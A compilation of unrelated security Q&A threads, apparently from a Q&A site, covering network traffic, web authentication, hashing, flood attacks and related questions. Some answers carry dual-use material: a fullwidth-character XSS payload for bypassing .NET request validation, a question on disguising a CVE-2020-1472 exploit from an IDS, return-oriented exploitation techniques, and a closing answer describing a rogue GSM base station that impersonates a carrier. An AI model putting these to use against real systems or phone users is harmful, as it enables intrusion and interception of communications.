The packet capture was filled with these ICMP request. When I searched the web about it then I found that there is an attack named smurf attack in which attacker force other system in the network to send ICMP request to victim system.

Is this an example of smurf attack?
If so then how to prevent my computer from being Attacked.

Please provide solution for both linux and windows Operating system.

EDIT No. 1:------

When I changed the MAC address of my PC, everything got back to normal. No such malicious packets were observed.

EDIT No. 2:------

I had used Advanced Port Scanner to scan my active port.

The port which was sending UDP packet(53411) is closed

The ICMP packets coming back were in response to your host sending out UDP packets to other hosts who don't have port 2054 open.  It was not a smurf of any sort, unless someone remotely compelled your PC to send out those packets.  Regardless, it would take a lot more than a few dozen small packets on the local subnet to noticeably slow your connectivity.  The culprit to your speed issue lies elsewhere.  Also, try to find out why your PC is sending UDP packets to port 2054 on a large number of hosts.


Why big websites don't secure their front page with SSL? Big websites for things such as banks (eg www.cimbclicks.com.my) and online shopping (eg www.lazada.com.my) don't seem to care to secure their front page with SSL but their login page is secured with SSL. Is there any technical motivation for not using HTTPS on the front page (such us decreased performance)?

This says more about friction in enterprise processes than it does about technology.

For an enterprise to set up their website with https throughout, they have to sort out the certs and configuration up front. That requires a bunch of background management and security processes all of which add friction to the deployment project that is probably already under-funded and under pressure to deliver.

So it is conceptually easier for the project to implement a "standard" website then worry about the security once they have proved that the basic site is sufficiently robust and performant.

HTTPS does make some things more complex to manage and thinking about end-to-end caching strategies are a bit harder to manage.

None of these things are excuses really but that is my take, from experience, on the enterprise process.

It is changing and if you change the link to https you will find that it has actually been implemented so that might only be how the URL has been written and communicated - often by non-experts. http should be disabled of course.

Services such as the excellent Cloudflare are also helping since everyone can now present their site over https even without getting your own certificate (though you obviously still need at least a self-signed cert to help secure the traffic between your server and Cloudflare).


Why use OpenID Connect instead of plain OAuth2? I just started to use OAuth 2.0 as a way to authenticate my users. It works great - I just use the identity/profile API of each provider to get a validated email address of the user.

Now I read about OpenID Connect and am a little bit confused.

What is the difference between OpenID Connect and using the identity API over OAuth2? Is it just that I have a standard profile API, so that I don't have to worry whether I get an "email" or an "emails" JSON back?

Or is there more to it, which makes the OpenID Connect approach more secure than my first approach?

OpenID connect will give you an access token plus an id token.
The id token is a JWT and contains information about the authenticated user. It is signed by the identity provider and can be read and verified without accessing the identity provider.

In addition, OpenID connect standardizes quite a couple things that oauth2 leaves up to choice. for instance scopes, endpoint discovery, and dynamic registration of clients.

This makes it easier to write code that lets the user choose between multiple identity providers.


Is it safe to store data of small company in MySQL database on webhost? A small company has a big list of customers. The list contains personal information like names, phone numbers, addresses, info (like what products bought) and some small notes. The data is stored at the computer in the office of the company. The company does not use any cloud service for anything. Backups are manually created and saved in a different location. A computer administrator arranges this.
The company has a website and webhosting, and a webmail. Emails are received and stored at the webhosting account (so where website and email runs).
Up to now, the 'only' data on the webhost is:

The website (with images, webpages and data for a content management system, like news articles, etc.).
This is stored in a MySQL database like on almost every webhosting.
The email is hosted there.

All other data like quotations to customers, invoices, and contact information is stored on a computer. Until now there was no reason to save this to some online server or something. Although this data regularly appears in email messages, that are on the webserver.
Now the company wants employees to be able to remotely load and edit that offline data from a phone or a laptop.
This automatically means that offline data should be accessed via internet, which means it must be stored at some server to make it accessible via internet.
Most data like contact info and addresses can be stored in tables in the MySQL database on the webhost. The person who manages the website has a very good ICT background and could create some API-like access point to load customer details (of course with a secure authenticaion mechanism). This has a lot of possibilities for the future too.
The security risks (threats) I'm concerned about, are:

The webhosting leaking data (but that would mean also all email and website data is leaked).
The API authentication mechanism for accessing the data remotely, must be 99.9% secure.
Keeping as most data offline as workable, feels safer than storing it on a webserver. How do other organisations manage this when the need arises to access data via internet?

Could someone assess the mentioned security risks and help us decide what to do?
We mainly wonder how other organisations would handle this. It has something to do with company growth.
Does someone have experience with this situation?

The decisive factors here are isolation and the principle of least privilege. If the account used for the website has access to the database containing the customer records, any compromise on the website is automatically a compromise on the customer records, too. Furthermore, the data could be isolated on a separate server or even a separate network, and accessed using different credentials or different type of authentication.
Securing the data, especially personally identifiable information (PII), isn't only preventing unauthorized access, but also being able to audit who has accessed which data and when. If e.g. the API logs this information, direct access to the database must be limited in order to keep the audit records trustworthy.

This automatically means that offline data should be accessed via internet

I assume by Internet you mean it would have to be either a web application, web based API or at least a connection that is made directly over the internet. This isn't automatically true: you could have additional layers e.g. you could require that the website/API/database can only be accessed through a VPN tunnel.


Would my IP be recorded when I visit a website Could the website owner (admin) determine whether to record users IP?

If the website owner (admin) doesn’t want to record users IP, will the host provider or domain name provider still get and record users IP?

For example I buy a domain name (say, some website.eu) from namescheap.com, so namescheap company is the domain name provider. Then I will hire a host for that domain name, say, I hired it from HUAWEI cloud, then HUAWEI cloud is the host provider. And I am the website owner (admin).

The website admin certainly knows your IP Address. If they didn't they couldn't send you the website you requested. Whether or not they record your address or try to track you is entirely up to them.

The same applies for the hosting provider as well as everyone between them and you, starting with your ISP.

The domain name registrar doesn't know anything about who visits the domain. However, the DNS server does. Sometimes the registrar will also host your DNS, so they might find out information about who visits the site. However this is probably very rare in practice because normally they wouldn't handle DNS requests directly from users. DNS is a distributed system, so usually the DNS host just talks to other DNS servers that are making requests for users and don't pass along end-user information.


Security benefits of disabling Chrome Incognito mode? The company I work for has disabled Incognito mode for Chrome (but allows InPrivate windows for Edge) and when I enquired why, I was told it was for security reasons.

As a developer, I find Incognito mode handy for debugging websites as sessions aren't shared between modes.

Aside from not storing the browser history, are there any negative security implications of someone using an Incognito tab over a regular tab?

Incognito mode (if not properly configured) can disable some extensions, if your company is disabling it via some sort of GAPPS mgmt or via GPO then they should be able to force the settings to force the extensions to run.

Besides, the simple answer of it might break something and they just chose to disable it instead of answering questions, i couldn't tell you why, especially if they allow inprivate on edge


A DOM-based XSS is a vulnerability in the application or in the browser? As the exploit isn't sent to the server (using #payload), can I say that a DOM XSS is a vulnerability in the browser rather than the web application?

As the application provides the logic that results in unexpected behavior DOM based XSS is clearly an application issue.

DOM-based XSS protections are built-in to many modern browsers, but you should not rely on them as they protect against a smaller subset of attacks.

  Edited to clarify that one should not rely upon browser features for
  XSS protections.


Random Chrome Notifications and Strange Source Code My elderly parents are receiving chrome notifications from a strange URL on their iMac:
(https://s1.snc.com.ru:443)

Example Messages

• Pending Payment: Paypal Has Sent You $65,900

• Clean your mac. Do not ignore this message.

I've remotely connected and scanned with Malwarebytes & Avast, but have found no threats.

I didn't see any issues when checking the URL on VirusTotal either. Visiting the URL renders a progress bar made with Bootstrap/Javascript and asks for permission to give notifications. Of course, I click no/block. There's some interesting javascript in the sourcecode that has a couple other URLS.

I've just blocked the notifications for now, but I'm really curious; what is this? Did I screw up by visiting the URL?

The site asks permission to send Web Push Notifications. That's not technically a malware and won't get detected as such. The site is just using this permission in a malicious way by sending these spam messages. That's pretty common.

Malwarebytes: Browser push notifications: a feature asking to be abused
Sites Trick Users Into Subscribing to Browser Notification Spam

  To remove them in Chrome, you can go into the Settings and search for
  Notifications, click on Content Settings, and then click on
  Notifications. Chrome will now display a list of sites that you are
  subscribed to or have blocked.

You must teach your parents some basic rules on the Internet: Don't click yes on everything. By default, select no if you don't understand the question. You could also tweak their browser to help them with this task:

Disabled web push notifications altogether by selecting Do not allow any site to show notifications from the Content Settings.
You could also disable location by selecting Do not allow any site to track your physical location.
Revise all Content Settings and disable everything your parents won't actually need.


What is better, an established framework or a homebrew solution? Recently, a website related to our university was hacked along with many others. This led to a general discussion1 on how to secure the website in the future.

Anyway, there is one point that was discussed quite a bit. Assuming that one is a competent developer, is it better to "code from scratch" (write your own homebrew framework to host the site), or is it better to use a popular framework that is freely available?

I understand that this may not have a simple "yes/no" answer. I'm looking for some explanation as to when each option is favorable. Or a detailed comparison of the two options would be nice as well.

1 If anyone wants, this is the mailing list thread, but it talks about other things as well and you probably don't want to look at it ;-)

You certainly want your code to be written by the most skilled developer possible, but that's not enough.  Even the most competent developers make mistakes (though less competent ones obviously tend to make more mistakes).

To get relatively mistake-free code and algorithms, you want to start out with the cleanest code possible, but that's only half the process. The best way to eliminate faults is to have as many skilled developers as possible comb through the code looking for them. This holds true for code as much as it does for algorithms. Your solution needs to be widely vetted by the most experienced people possible.

Where you start -- the skill level of the original developer -- is just the starting point. After sufficient review, it doesn't really matter how skilled the original developer was.

So here's the key: the security value in any code is in how well-vetted it is. Whether it was written by you, by a renowned cryptographer, a large corporation, or nobody in particular, all that matters is how many skilled eyes have scrutinized the code.

Such a rule tends to favor established frameworks over homespun solutions. But established is not necessarily the same as vetted, which is part of why many security experts tend to favor open-source solutions: it's difficult for an open-source project to become popular without it being subjected to a certain amount of scrutany.


External Vulnerability Scan of DMZ We currently have an internal and external vulnerability scanner setup in my organization. This morning our external scanner was going through a new external DDoS protection service instead of directly at our public IP space. (We firewall off anyone except the DDoS provider.) I thought this peculiar as I would just target our direct IP and make a firewall exemption for the external vulnerability scanner IPs.

I was then informed that the external scanner has no exemptions and goes through the same security measures that a visitor would. My brain says that an external scanner should be looking at the core applications and not the security measures. The internal scanner does scan the DMZ from the internal side.

What is the normal approach to deploying an external vulnerability scanner. Should it scan as if it were a visitor or should it scan as if there were no security controls? (Take into consideration that we do have an internal scanner, which does scan DMZ targets.)

I guess it depends on circumstances.

My worry with what you have described above would be that if you're not directly hitting your public IP space (relying on your firewall set up to drop anything not coming from your DDoS protection service), you're trusting that no vulnerabilities or mis-configurations exist within your firewall.

The set up you describe is assuming that any attacks would be coming through the route visitors take which is by no means certain. You want to assume that attacks will be coming at you via all possible means.

If the external vulnerability scan is designed to test your DDoS protection service, well ok but I'd also make sure to scan the public IP range as well.
I'd also question the wisdom of running a vulnerability scan against a 3d party service, though there might be some mileage in this to confirm things like which TLS cipersuites are supported and so on.

To answer the question directly; I'd want an external vulnerability scan to hit all of my external attack surface. From what you've said it sounds like you're missing some external attack surface to me.


Windows System Audit As part of auditing, I have to find whether an excel file is modified by anyone after it was created in 2018 by original user in a windows 7 computer.
I had verified the creation, modified and accessed info available in file. All these info are of 2018 and believing these time stamps, I submitted a report that the file is original and not altered by anyone.
But some posts in security.stackexchange.com made me aware that the timestamps I mentioned above can be altered through powershell by changing the properties CreationTime, LastAccessTime and LastWriteTime.
If so, I cannot believe these timestamps to ensure the file is not altered. What if, someone changed the file and then changed the timestamps back to the initial one?
If so, is there any way that I can find it out?
If not possible to see whether file is modified, can we at least know whether meta data of the file was changed?
Note: I have read the post Why is it impossible to verify whether a file has been modified since creation? and now I am under the impression that I cannot find out if the file is modified. But this is important for my organization and want to see if anyway out.

Unfortunately unlike Word, Excel does not have a "Revision Tracking" feature.
However, there is an option in the home panel's info section, where you can see "Version History".  However, if the content in the document was copied and pasted into another document, then there would be no older version history to display.  That is one way one can circumvent the "Version History" feature.
This is the reason why it is standard practice for security personal at the work place to set up a database or a method to store hashes of files that they want to have a form of certain authentication.  Every time a known edit is saved a hash is saved in some manner (separate from where the document is saved), where an unknown edit would not change the hash of the previous version of the document.
Basically, if you have a hash for the document that was taken right after a known edit was saved, you could try comparing the current hash of the document with the known hash.  If the hash values are the same, then the document was never touched.  If it is not the same, then the document has been modified.


What is the difference between an SYN-Flood attack and an SYN-ACK-Flood attack? What is the difference between an SYN-Flood attack and an SYN-ACK-Flood (SYN Reflection) attack?

An explanation of how each attack works, it is really helpful if u have a small background knowledge of TCP protocol

SYN flood :

1)The attacker sends multiple SYN packets at all server-victim's port forging his IP address

2)Server replies at all SYN requests with a SYN+ACK for each open port and a RST for closed ports.The connection is now "Half-open" and the server expects a ACK response from the client to establish the connection into an "open" one

3)The attacker never responds to the SYN+ACK leaving the connection at a "Half-open" state (usually 75 seconds until server terminates the TCP connection). The server has built in its system memory a data structure describing all pending connections. This data structure is of finite size, and it can be made to overflow by intentionally creating too many partially-open connections, then the system will be unable to accept any new incoming connections until the table is emptied out.

Reflection attacks are used on challenge-response authentication systems using the same protocol in both directions, tricking the target system to provide the answer to its own challenge and i don't think there's a SYN reflection attack

SYN-ACK Flood :

The attacker sends spoofed SYN-ACK packets that do no belong to any current session within the server.This can lead to resource exhaustion of any state-full mechanisms, like firewall,ips,ids or the server, which will try to do a look-up for every incoming SYN-ACK request .

This attack can be amplified with a botnet sending SYN packets to servers on the internet with the victims IP spoofed as the sender. Each server will respond with a SYN-ACK redirected back to the victims server generating large numbers of SYN-ACK packets.


Unknown wifi network I have a new unknown wifi network with a full signal in my home. My nearest neighbors are a substantial distance away and this network has a full signal.

It is only detectable when my desktop is turned on. My desktop shows it as a LAN connection named DIRECT-DRHOMEmsXC.
Wifi analyzer says -32dbm 2437 Mhz(20Mhz)0.2m.

What could it possibly be?

This might be a SoftAP or Wi-Fi Direct, some "smart-devices" (Not sure what word to use) that can connect to the internet comes with a this feature to redistribute your internet or to create an ad-hoc connection.

For examples some TV's

Or Roku streaming devices

In your case it's a Wi-Fi Direct because of the SSID you provided. Check the configuration of something new you just bought maybe?


If I use the require-sri-for CSP, will script and style loaded from my site remain accessible? I use the following CSP rule:

Content-Security-Policy: require-sri-for script style

I know that if I load style and script from a CDN it will get blocked if I don't include their hash.

But if I serve my script and style from my own domain, will it remain accessible? (CORS is disabled)

I ask this because a site visitor send this to me:

2017-02-18 21:52:14.622 example.com/:1 Refused to load the stylesheet 'https://example.com/assets/css/main.css' because 'require-sri-for' directive requires integrity attribute be present for all stylesheets.
2017-02-18 21:52:14.632 example.com/:1 Refused to load the script 'https://example.com/assets/js/main.min.js' because 'require-sri-for' directive requires integrity attribute be present for all scripts.
2017-02-18 21:52:14.633 example.com/:1 Refused to load the script 'https://example.com/assets/js/katex.min.js' because 'require-sri-for' directive requires integrity attribute be present for all scripts.
2017-02-18 21:52:14.633 example.com/:1 Refused to load the script 'https://example.com/assets/js/section.min.js' because 'require-sri-for' directive requires integrity attribute be present for all scripts.
2017-02-18 21:52:14.633 example.com/:1 Refused to load the script 'https://example.com/assets/js/canvas.js' because 'require-sri-for' directive requires integrity attribute be present for all scripts.
2017-02-18 22:01:13.667 example.com/:1 Refused to load the stylesheet 'https://example.com/assets/css/main.css' because 'require-sri-for' directive requires integrity attribute be present for all stylesheets.

This doesn't sound normal and I couldn't reproduce it on any device.

Edit

I found out that it is possible to add a SRI hash to the style and script, but the question remains, is it necessary to do so?

require-sri-for doesn't mention anything about exceptions or exemptions for same-origin subresources so I would assume you'd need to include the hash regardless of where the resource is being loaded from.
From MDN:

The HTTP Content-Security-Policy require-sri-for directive instructs the client to require the use of Subresource Integrity for scripts or styles on the page.

And subsection 3.3.3 in the SRI specification, regarding the require-sri-for CSP directive and request verification:

3.3.3. Apply algorithm to request
This directive’s pre-request check is as follows:
Given a request (request) and a policy (policy):

Let protected resource types be the result of executing §3.3.2 Parsing require-sri-for on this directive’s value.
If request’s destination is a ASCII case-insensitive match for at least one token in protected resource types, and request’s integrity metadata is the empty string, return "Blocked".

Note: This logic means that request with matched destination and missing integrity metadata will be blocked even if it is not currently possible to set it’s integrity metadata. Such requests are originated by, for example, importScripts(), CSS' @import, or script/style elements without crossorigin content attribute.

Return "Allowed".

Depending on your build process, it's fairly easy to generate hashes for your own content. There's a bunch of tools listed in the Mozilla Hacks article about SRI.


Is authorisation with token secure? I have a general security question:

Let's say there is a client-server application with authorisation by login and password using a secure connection between server and client (https). User can have different permissions that allow user to access to different kind of information provided by the server. This is only a part of server functionality. But it creates high traffic load.

So I want to introduce another one kind of server (info-server) only for providing info purpose apart from the main server. It should be as simple as possible, so I don't want to introduce any kind of interaction between main and info servers via web.

So what solution I see now (all connections between client and servers are secure):

The main server performs user authorisation via login and password;
The main server detects what permissions user has, stores user info and permissions to a string, encrypts the string with a symmetric private key. So now we have a token;
The main server sends the token and an address of an info server to the client;
The client connects to the info server and sends the token to it;
The info server decrypts token with the symmetric private key and detects what permisiions user has;

I'm not sure if this approach is secure or not. Is there any vulnerabilities? If I use token-authorisation what kind of encryption should I prefer?

I would appreciate your help. Thanks!

This is not encryption that you need. Well, you might need it too, but that won't do the whole job.

Encryption is for confidentiality: you encrypt the token if you don't want the client to learn the token contents, i.e. his permissions. Maybe you indeed want to hide that information from the client, but that's a secondary concern. The primary security characteristic that you wish to achieve is integrity: you don't want clients to be able to produce fake tokens and be granted entry. As a general rule, encryption does not provide integrity; for that you need a MAC, or a digital signature. Encryption may, as a by-product, make data alteration a bit harder, but certainly not impossible.

Digital signatures are more generic, but heavier (higher size and CPU overhead). What digital signatures provide is the following: whoever verifies the signature needs not be able to generate other signatures; the verification and generation powers are disjoint. With a MAC, the same key is used to produce the MAC and to verify it, so the two powers are equivalent. In your case, the exta genericity of signatures may be unnecessary, because both servers are yours, so you can probably arrange for a shared secret key between both servers. However, you might want to use a signature so that an attacker who obtains a read-only glimpse of the data server (e.g. through an old discarded hard disk) does not obtain enough information to be able to fake tokens, and thus obtain all write accesses for all possible users in your system.

If you follow the simple road of a shared key, and you want both encryption and MAC, then you are encouraged to use an "encryption mode" which provides both, because decades of research have come to the conclusion that mixing encryption and MAC together is a complex endeavour, prone to catastrophic silent failures. So use GCM or EAX.

If you want signatures and encryption, then again this is not a light job. An extra complication is that the power to decrypt must be on the data server side, while signature generation will be on the info server. In this model, both servers would have their own key pair. The smart thing to do would be to use an existing format and library which handles the tricky points. I suggest OpenPGP; it is a well-studied format, and there are open-source implementations available (e.g. GnuPG, which has bindings in many frameworks).

Regardless of the model and implementation, absence of direct communication between your two servers necessarily gives some extra power to the client: an evil client may decide to send the token, or not, or send another token. Replay attacks are an illustration: the client may want to send an old token value, thus allowing him entry with privileges which have since then been revoked.

One method to block replay attacks is to embed in the token an expiry date (under the protection of the MAC or signature, of course: evil clients would love to be able to modify that date). This works, but implies an inherent latency: if you decide, on the info server side, to revoke the privileges of a given user, then the said user can still use his current token until its expiration. This can lead to uncomfortable situations: emergency stop buttons should work immediately, not "within 15 minutes".

You may want to separate authentication from authorisation. Authentication is about making sure of the identity of the client; authorisation is about deciding what a given client should be allowed to do. The login+password procedure is authentication. If the bulk of the "high traffic load" comes from the password processing (e.g. because you hash password with a good password hashing function, as you should), then you might want to offload authentication on the "info server", while keeping authorisation on the "data server". In that model, the token will contain "this is Bob", instead of "the holder of this token is allowed to read data elements 1 and 2".

With such a setup, you still have an immediate, no-latency method to block indelicate users. An evil user is still himself, so his authentication token can remain valid for a long time; and if a user's password is stolen and you notice it (almost always asynchronously), you still have the option to block that user on the data server until the crisis is resolved.


Is it possible to get All IP's that belongs to given zip code? For this kind of things can use Country IP blocker , but it only gives whole country IP's, so what im asking is , Is there any way to get All IP's that belongs to given Zip code?

The only valid ways to do that are:

Request it from the provider
Buy the list from the black market

If you're asking if you can find this by some type of GGE-like databases: no, they are often quite inaccurate.


Superceding a passphrased key with a token-based key I've been using a GPG key for awhile (mostly with the pass password manager but also some with mail).  Since it's now in use, a few years old, and entering the passphrase is getting tiresome, I thought I'd update/upgrade it with a new key and a shiny new Yubikey.

Preparing to change over to new GPG-key - what to do with my old ones?

was quite helpful, but didn't mention how to handle data encrypted with the previous key(s).  Is decrypting old data is going to require me to enter the passphrase to my old keys?  If so, is there any way to replace the passphrase-encryption with encryption using my new key (that's stored on my yubikey)?

I think you are mixing and, possibly, confusing two different concepts:

1 .- Using a Yubikey (or similar) for ease of use vs typing a long passphrase.

Yes, that's good, and has some other advantages (and inconveniences too). Go for it, but you need not change your key, just load your current one in the Yubikey. And just make sure you also keep you key in "normal" form for the day the Yubikey is lost or broken.

2 .- Moving to a new key. You don't need to for the simple fact of using a hardware token. If you do it, be it for other reasons. Don't do it just because of buying a hardware token.

And, lastly, if you want to have a new key and the advantages of a hardware token and also need to work with your old key, why not buy two tokens, one for the new key and one for the old one?


What is pervasive encryption? I've received an email from IBM, where they feature "pervasive encryption". Would anyone know what it is?

  IBM Z technology is widely known for its resiliency and security
  standards, which makes it the perfect platform for sensitive data
  hosting. With the latest IBM Z, we introduced pervasive encryption, a
  paradigm shift in data security.

I can promise you it's marketing ...

What I can read from their buzzword-filled infos, and some third-party sources, it means that:

Data is not only encrypted in sensitive phases of some process (eg. the TLS encryption between me and stackexchange here), but pretty much everywhere else too (eg. in the backend database of stackexchange). If it needs to be processed, it's decrypted right before processing, and encrypted again right after it.

That's all.

The two problems with that are

It needs more powerful computers (IBM will gladly sell their mainframes to you, which are the reason for this "pervasive" marketing anyways), and
the server with the database, or anything else that is doing some processing, will need the key too; and if someone can get the database then the chances of getting the key are not bad either. Of course IBM has no solution for this basic problem, that was/is the reason that no one is doing this in the first place.
(Yes, with hardware support it doesn't have to be a (huge) problem, and it is done too, but IBM is not changing anything from the current state)


How to bypass .Net 4.5 request validation, for an XSS attack? .Net has a feature called request validation which detects malicious inputs and blocks the request.

By its nature, request validation is not a precise science. OWASP clearly recommend to only rely on request validation as defence-in-depth, not as a security boundary.

I am updating a .net security training course, and I like to include an example of why you should not rely on request validation. Sure, I could tell the trainees "don't do it" - but an example is very powerful.

I have found that request validation in .Net 4.5 has been tightened, and my previous methods of bypassing it no longer work. Are there any publicly known ways to bypass .Net 4.5 request validation, for XSS? The most recent link I found was this.

There area a number of places that Request validation may be bypassed, depending on the architecture and function of the application under review, which is likely why Microsoft don't recommend relying on it.

Data which enters the application via another channel (e.g. an API) will not be affected by request validation and so could cause XSS issues if that data is rendered without any additional controls.
Request validation only really helps where data is placed into an HTML context, where it's placed into a JavaScript context for example it won't provide good protection.
Request validation doesn't cover all data sent from the client.  For example if the application processes data from user HTTP headers (e.g. User agent) it can render the site vulnerable to XSS.
Data can enter the application via areas such as file upload, which again won't always trigger request validation.

Update Another one that might bypass Request Validation is the use of certain Unicode characters in place of the blocked ones.  In some cases MS SQL server will convert these characters into the ASCII equivalent when the data is saved to the database.  This can allow for an ASP.Net application to be vulnerable to XSS even with an HTML vector.  for example
＜script ＞alert(1)＜/script＞
if saved and returned, could result in xss.


script encoder for IDS test Encoding a payload is a means of evading antivirus or IDS.
With regard to scripts is there a way to do the same thing?
For instance, is it possible to encode a python script in order test intrusion prevention systems?
This script here https://github.com/SecuraBV/CVE-2020-1472 ,is there anything I can use to disguise it in order to test against a Windows Server behind IDS system?
I know metasploit can use different encoders like shikata ga nai or whatever.
But what I'd like to use is not part of the above mentioned framework

It depends on what the IDS is designed to look for and what the exploit is. Is it looking for the script code? Or is it looking for the effects in the traffic?
If it is looking for the effects on the wire, then there will be little one can do to hide that from the IDS, no matter if it is a script or a compiled binary.
If the target needs to experience the traffic in a particular way in order for the exploit to work, then that particular way will be detectable on the wire.


Buffer overflow outside gdb I'm trying to exploit a basic C program (below) which I've written:
#include <stdio.h>
#include <string.h>

void main()
{
    char ch[10];
    scanf("%s", ch);
    if(strcmp("1235", ch))
    printf("\nAccess Denied\n");
    else
    printf("\nAccess Approved\n");
}

It will ask you to input a string (as a password) and if its "1235" it will print "Access Approved", otherwise "Access Denied".
The goal is to print "Access Approved" message without supplying "1235".
I've exploited it with in gdb with a buffer overflow of the ch array and replaced the stack frame's return address with the address which initiate the sequence for printing of the "Access Approved" message.
But outside gdb, linux shifts the addresses everytime I run the program. And now I can't figure out what to do to know what the address of the initiation sequence is for a certain instance and how I'll pass the address in that instance, as next time it will change.

This is intended behaviour! Your exploit is being thwarted by an exploit mitigation technique called address space layout randomisation (ASLR). The address at which the target executable is being loaded at is randomised at every launch in order to make it harder to exploit vulnerabilities.
When you debug a program with gdb, it disables ASLR on the target process by default in order to make debugging easier. You can turn this behaviour off with the set disable-randomization off command.
Many years ago the standard approach to exploiting this kind of stack buffer overflow vulnerability was to inject instructions into memory (usually the stack) and jump to that memory. Modern systems have a feature called no-execute (NX) - also referred to as Data Execution Prevention (DEP) in Windows - that prevents the CPU from being able to execute code in memory pages that are not explicitly marked as executable. This prevents you from just putting an executable payload into the stack and jumping to it.
In order to get around NX, folks instead started abusing existing executable code in the program. This is what you're doing here - jumping to existing instructions in order to modify the behaviour of the program, instead of trying to provide your own instructions. This is often referred to as ret2libc because a common approach with this technique is to cause the program to set up the stack and jump to a libc function such as system() in order to execute arbitrary commands, or mprotect() in order to mark some memory you control as executable in order to defeat NX and execute arbitrary instructions.
A more general form of this attack is known as return-oriented programming, in which gadgets - small chunks of code from the application code that are followed by a ret instruction - are chained together through stack manipulation in order to make a libc call.
With both NX and ASLR enabled, ret2libc attacks are much harder to pull off. You can't load your own instructions into the stack because of NX, and you don't know the memory addresses of instructions that you can abuse because of ASLR. Defeating both of these protections can be tricky. Usually you need to discover the address of some executable data in the program first. This might be possible if one of the libraries that is loaded is not marked as position-independent (PIE), and therefore is always at the same address. Alternatively, you might try to find a pointer leak in the target application that allows you to discover the address at which the program was loaded in memory.


Two-Factor Authentication: When is it worth it? I was reading this article, and it triggered the question: Why not use two factor authentication? In his case, it both possibilities were enabled anyway, so this looks to me like it's two attack vectors.
But more importantly, security is never absolute, but always something that should be adapted to the value protected.
The biggest disadvantage with two-factor authentication that I can see right now is that it might become slightly more work for the user. But when do I know that two factor authentication has become suitable in my "regular" life? When does one form of authentication become insufficient / When does one need to add the additional layer of security?

Answer:
Two factor authentication is worth it when one form of authentication is not enough or when it makes sense to have an added layer of Security.

An Example of Two Factor and Why we need it
For example (a tried and true), an ATM Machine. If someone swipes your wallet then they could go to town on your bank account if ATM Machines did not require a pin. If someone figures out your pin through some kind of passive attack then they are still forced to get your card somehow. The What you have is usually called a token.

Minutiae of getting Two Factor right
Important to note is that 2factor authentication requires authentication of different kind. In my example, Your ATM Card is Something you have while your pin is Something you know. Also note there is a throttle set on pin attempts. You can only attempt to put in your correct pin n number of times before you become locked out.

Further Details
I think it is totally worth it to have two-factor authentication on your email account. Two-factor authentication makes it really difficult for someone to guess your password without also stealing your token. It certainly can't hurt and it has actually become fairly convenient. Facebook/Google both can text you a pin number. I think that's pretty damn convenient (as long as you don't register your google accounts 2factor phone number to your google voice account...).  The reason that password authentication isn't enough is all the bad practices people have managing and creating passwords. Weak passwords and passwords stored in plaintext (like in firefox) makes it really easy to put yourself in a bad situation if time are careless.

When should YOU use it.
Like many things in life this is simply a tradeoff. If you think you value the added security over the burden of needing to authenticate twice then you absolutely should use 2fac. On your personal email? Probably. On a junk email or a forum account you don't care about then probably not. It really is that simple.


Will ISP know the location of public comment on Facebook via query link? Let say that a person has made a comment on a Facebook group and in the browser address bar it will have a link with the following format. If someone clicked on this link, it will jump straight to the public comment (this is just a sample link):
https://www.facebook.com/groups/402723123456/permalink/137534228296458/?comment_id=137618378287832&reply_comment_id=137641101624443&notif_id=1620042359222561&ref=notif&notif_t=group_comment_mention

I have read that ISP can see the person's IP address visited the domain facebook.com but will ISP got the full link of the comment link above?
I ask this question because I'm doubt whether I should use VPN to prevent this information leaked to ISP.

Provided your connection is HTTPS, meaning it is encrypted, which Facebook is, it's very unlikely they can see the content of your data traffic. They do know what sites you are connecting to however. One of the most important things about this however, is that whatever data you give, is shared, sold, and copied. Facebook is one of the biggest faces in the data market. ISPs also tend to partake. It's not certain, but certainly not impossible, that the data could get back to them.


Why are only passwords hashed? I just learned a few things about hashing algorithms – MD5 and SHA-1. So, if I am not wrong passwords are hashed so that in a rare situation of your database being compromised a hacker can not see all the passwords in your database as the passwords are hashed. MD5 is not safe anymore as most of the common passwords and their hashed values are out on the internet. And hence people now use other hashing algorithms.

So, my questions are :

Is hacking a database that easy? I mean instead of finding new ways to hash, why can't they make their database more secure or "hack-proof"?
If a hacker manages to hack into some database, why would he want to know the hashed passwords? I mean he can change other columns of data. For example, he could search for his username and increase his bank balance. So, shouldn't all the fields be hashed?

Some things first:

Forget about MD5 immediately. It's old and weak.
Ideally, forget about SHA1 too. There are SHA2 and SHA3.
This hash algorithms in their pure form are useful for many things, but not for passwords. Use them in combination with eg. PBKDF2, or use bcrypt (and don't forget salting).

  So, if I am not wrong passwords are hashed so that in a rare
  situation of your database being compromised a hacker can not see all
  the passwords in your database as the passwords are hashed.

Correct. While this won't help making your server more secure (after all, it's already compromised in such a situation), it prevents eg. the attacker using the passwords on other sites. Sadly most people use one password for multiple things.

  Is hacking a database that easy? I mean instead of finding new ways to
  hash, why can't they make their database more secure or "hack-proof"?

You could (and you should). But:

Even with all your efforts, there always is some chance the attacker can get access. Bugs in software and devices you don't know about and/or you can't fix, and many more things.
Often you can't give your best because of managers who don't think security is important, have no budget for it etc.

  If a hacker manages to hack into some database, why would he want to
  know the hashed passwords? I mean he can change other columns of data.
  For example, he could search for his username and increase his bank
  balance. So, shouldn't all the fields be hashed?

If all fields are hashed, the database is useless for you too; so you can't do that. Remember, a good hash can't be reversed.

As said above, as soon as your DB/Server is compromised, the damage for you already happened. The hashed passwords just prevent that the attacker gets access to other accounts of your users too (and then some users would sue you, so hashing helps you too).


Is CA the only way to securely share public key? Is CA the only way to securely share public key - are there other mechanisms that are viable in practice?

I guess if you had a trusted software deployment system that securely transmitted contents from itself to the host, you can use that to deploy the public key there as well?

I believe you also want to rotate the private keys frequently and for that a CA might be a better way?

A CA is not a way to share a public key in the first place. The idea behind signing a certificate (which contains the public key) by a CA is to propagate an existing trust into a CA to the certificate. How the signed certificate is then shared does not matter because nothing is secret in it and the recipient can detect any modifications since these would invalidate the signature from the trusted CA.

In practice there are many ways to securely share a public key. The main requirement is that the transport or container can be trusted trusted and that it protects against manipulation of the contents. This can be achieved when communicating with TLS  with a trusted server, by sending the key inside an S/MIME mail signed by a trusted sender, by signing a certificate by a trusted CA etc.


Mobile numbers capture and transmit data will it be possible to build a low cost hardware/software device which can capture mobile numbers within a specified radius and then use that information to transmit an sms to those numbers?
From what I've read online, the actual phone numbers are encrypted. What if we could simply capture the unique mobile identity information and use that to transmit the sms? We do not want the mobile numbers or any other information.

Just want a hardware/software combo which gives us ability to send sms to all mobiles within specified radius.

Possible?

Yes,

You can build a GSM basestation using an USRP and the OpenBTS.

What you do, is announce that you are a basestation for i.e. AT&T, and if you have better signal power than other basestations in the area, AT&T cellular phones will start connecting to your basestation.

